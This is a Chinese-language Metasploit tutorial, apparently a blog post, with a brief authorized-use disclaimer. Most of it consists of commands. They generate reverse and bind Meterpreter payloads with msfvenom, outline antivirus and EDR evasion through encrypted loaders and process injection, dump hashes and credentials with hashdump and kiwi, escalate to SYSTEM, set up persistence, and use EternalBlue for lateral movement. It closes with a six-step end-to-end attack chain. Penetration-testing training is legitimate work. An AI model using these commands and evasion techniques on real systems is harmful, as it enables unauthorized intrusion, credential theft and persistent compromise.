Metasploit 深化:数据库与模块、msfvenom 正反向 Payload、免杀思路、Meterpreter 后渗透、提权与横向。
写在前面:合法学习边界
MSF 仅用于授权测试。对非授权目标利用、后渗透可能触犯法律。
一、MSF 的构成
1
2
3
4
| msfconsole:主控制台
模块:exploit / payload / auxiliary / post / encoder
msfvenom:独立 payload 生成器
数据库:记录扫描与主机信息
|
二、基础操作(深化)
1
2
3
4
5
6
7
8
| msfdb init # 初始化数据库
msfconsole
db_nmap 192.168.1.10 # 结果入数据库
search type:exploit name:xxx # 搜模块
use exploit/... # 选择
show options / set RHOSTS / run
sessions -l / sessions -i 1 # 会话管理
jobs -l / jobs -K # 后台任务
|
三、msfvenom 生成 Payload(正反向)

反向(reverse,目标出网)
1
2
3
| msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻击机 LPORT=4444 -f exe -o shell.exe
# Linux / 其他格式
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=x LPORT=x -f elf -o shell
|
正向(bind,目标只能进不能出)
1
| msfvenom -p windows/meterpreter/bind_tcp RHOST=目标 LPORT=4444 -f exe -o shell.exe
|
常用格式
1
| exe / elf / msi / ps1 / py / php / asp / war
|
四、免杀思路(授权内)
1
2
3
4
5
6
| 1. 编码(shikata_ga_nai)—— 老方法,多数已失效
2. 加壳/混淆 —— 降低静态特征
3. 加载器 —— shellcode 加密 + 白名单程序加载
4. 进程注入 —— 内存运行,不落地文件
5. 换 payload/改特征 —— 减少已知签名
注意:免杀是与杀软/EDR 的持续对抗
|
五、Meterpreter 后渗透
1
2
3
4
5
6
7
8
9
| sysinfo / getuid # 基本信息
getsystem # 提权到 SYSTEM
run post/multi/recon/local_exploit_suggester # 本地提权建议
hashdump # 抓哈希
load kiwi / creds_all # mimikatz 抓凭据
ps / migrate # 进程注入
download / upload # 文件
run persistence # 持久化
shell # 系统 Shell
|
六、横向与提权
1
2
3
4
| 提权:getsystem + local_exploit_suggester
横向:抓哈希后配合 psexec/wmiexec 模块
auxiliary/scanner/smb/smb_ms17_010:探测永恒之蓝
exploit/windows/smb/ms17_010_eternalblue:利用
|
完整操作步骤
1
2
3
4
5
6
| 第 1 步:msfdb init 并启动 msfconsole
第 2 步:按目标出网情况用 msfvenom 生成正反向 payload
第 3 步:起 handler 监听,投递执行
第 4 步:Meterpreter 会话后渗透(getsystem/hashdump)
第 5 步:横向提权、持久化
第 6 步:注意免杀与特征
|
七、小结
MSF 的核心是“模块化 + 会话 + 后渗透”。用 msfvenom 生成正反向 payload、用 meterpreter 做提权抓凭据、用模块做横向,是一条完整链路。但 MSF 特征明显,免杀要单独处理;配合手工验证和 C2 平台使用效果更好。